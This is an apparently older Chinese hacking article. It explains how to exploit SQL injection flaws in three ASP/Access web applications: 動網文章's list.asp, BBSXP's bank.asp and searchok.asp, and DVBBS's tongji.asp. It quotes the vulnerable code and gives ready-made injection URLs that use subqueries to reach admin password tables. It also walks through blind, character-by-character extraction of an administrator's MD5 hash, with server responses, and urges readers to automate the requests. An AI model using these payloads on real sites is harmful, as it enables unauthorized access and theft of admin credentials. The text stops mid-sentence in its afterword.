>>>Dedicated This Scrap To CaoJing<<<
很多朋友在ACCESS下進行SQL注入攻擊的時候,總會抱怨:ACCESS功能太弱了,沒有注釋符、不支持多語句查詢...另一方面,很多程序員在使用ACCESS做數據庫寫程序時,往往只對那些對敏感表的操作代碼執行嚴格審查,而其他一些表的操作代碼就很粗糙了。這只能說我們對ACCESS了解太少了,前不久我有幸看到了一個專門的ACCESS站點,其論壇劃分了很多版塊,竟然全是和ACCESS有關的;原來這裡頭的學問還蠻多的,我等只是略懂皮毛而已。小弟愚笨,沒能力寫概覽型的文章,還是通過幾個例子來向大家說明些問題:
一:動網文章
涉及版本:
^^^^^^^^^^
動網文章所有版本
描述:
^^^^^^
動網文章是一款由WWW.ASPSKY.NET開發和維護的源代碼開放的文章管理系統,在國內使用非常廣泛;由於其list.asp文件沒有過濾用戶提交傳遞給SQL查詢的輸入,導致遠程攻擊者可以利用這個漏洞進行SQL注入攻擊。
具體:
^^^^^^
試看list.asp中的相關代碼:
15 sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id")
id沒有經任何檢查就直接放到SQL查詢中,這點大家都很容易看出來,但說到利用,一些朋友就可是犯難了:這個語句對應的表是 article ,但管理密碼在 admin 表裡面,ACCESS又不能執行多語句查詢,這個bug有什麼用啊?呵呵,我們使用子查詢不就得了,方法好多哦:
http://www.target.com/asp/darticle/list.asp?id=(select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 and exists (select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 and article.articleID in (select top 1 id from admin where len(password)>1 order by id)
等等...
怎麼得到管理員密碼就不用我廢話了吧:)
二:BBSXP
涉及版本:
^^^^^^^^^^
BBSXP所有版本
描述:
^^^^^^
BBSXP是一款由WWW.BBSXP.COM開發和維護的源代碼開放的Asp論壇;由於作者采用的安全防護措施過於簡單,導致整個論壇多個文件存在Sql Injection漏洞,非法用戶可以很快地智能破解任意用戶口令或進行其他惡意攻擊。
具體:
^^^^^^
前不久我寫了篇關於BBSXP漏洞的文章,作者簡單的把論壇升了級,但仍然沒有全面解決Sql Injection的問題,比如說:
bank.asp
-------------------------------------------------------------------------------
152 sql="select * from user where username='"&request("dxname")&"'"
153 rs1.Open sql,Conn,1,3
154 if rs1.eof then
155 message=message&"
查無此人的賬號!"
156 end if
-------------------------------------------------------------------------------
呵呵,拿user表中所有用戶密碼沒問題了,但又有人開始嘀咕了:BBSXP後台管理密碼和論壇前台密碼不同,怎麼辦啊?
後台密碼存放在 clubconfig 表中,還是和上面利用方法一樣,使用子查詢嘛。
還給個例子吧:
searchok.asp
-------------------------------------------------------------------------------
forumid=Request("forumid")
...
21 if Request("forumid")<>"" then
22 forumidor="forumid="&forumid&" and"
end if
...
sql="select * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&" order by lasttime Desc "
...
-------------------------------------------------------------------------------
提交類似如下URL(最好寫個小代碼發送這個請求):
http://www.target.com/bbsxp165/b ... dminpassword)>1)
瞧,我們這不是開始對 clubconfig 表進行查詢了嗎?
三:動網論壇(DVBBS)存在嚴重漏洞(補充)
這個漏洞我公布後,就有好多朋友給我寫信,有的問怎麼破解MD5(有破解的必要嗎?)、有的要測試代碼、還有的要我做個動畫...同時也有人說後台管理密碼和論壇前台密碼不同,怎麼拿後台的?我猜這些朋友自己沒怎麼思考,思考應該是種很美的享受吧?
我補充下怎麼拿後台MD5加密的管理密碼:
http://www.target.com/dv/tongji. ... id)%20from%20admin),
返回:
-------------------------------------------------------------------------------
document.write('□');document.write('9');document.write('
');document.write('□');document.write('9');document.write('
');
-------------------------------------------------------------------------------
http://www.target.com/dv/tongji. ... ere%20left(password,1)='a'),
返回:
-------------------------------------------------------------------------------
document.write('□');document.write('');document.write('
');document.write('□');document.write('');document.write('
');
-------------------------------------------------------------------------------
啊,為空,我們猜錯了,再來:
http://www.target.com/dv/tongji. ... ere%20left(password,1)='d'),
返回:
-------------------------------------------------------------------------------
document.write('□');document.write('9');document.write('
');document.write('□');document.write('9');document.write('
');
-------------------------------------------------------------------------------
哈哈,這下猜對了。
接下來由你繼續,當然,你可以把我以前寫的那個小程序稍微修改後再放到這裡使用!
不過我要提醒你,DVBBS後台管理文件是cookie+session雙重認證哦!
後記:我到一個原代碼下載站隨機down了一些程序,包括論壇、留言本、文章下載管理...發現都存在類似的問題。其實只要我們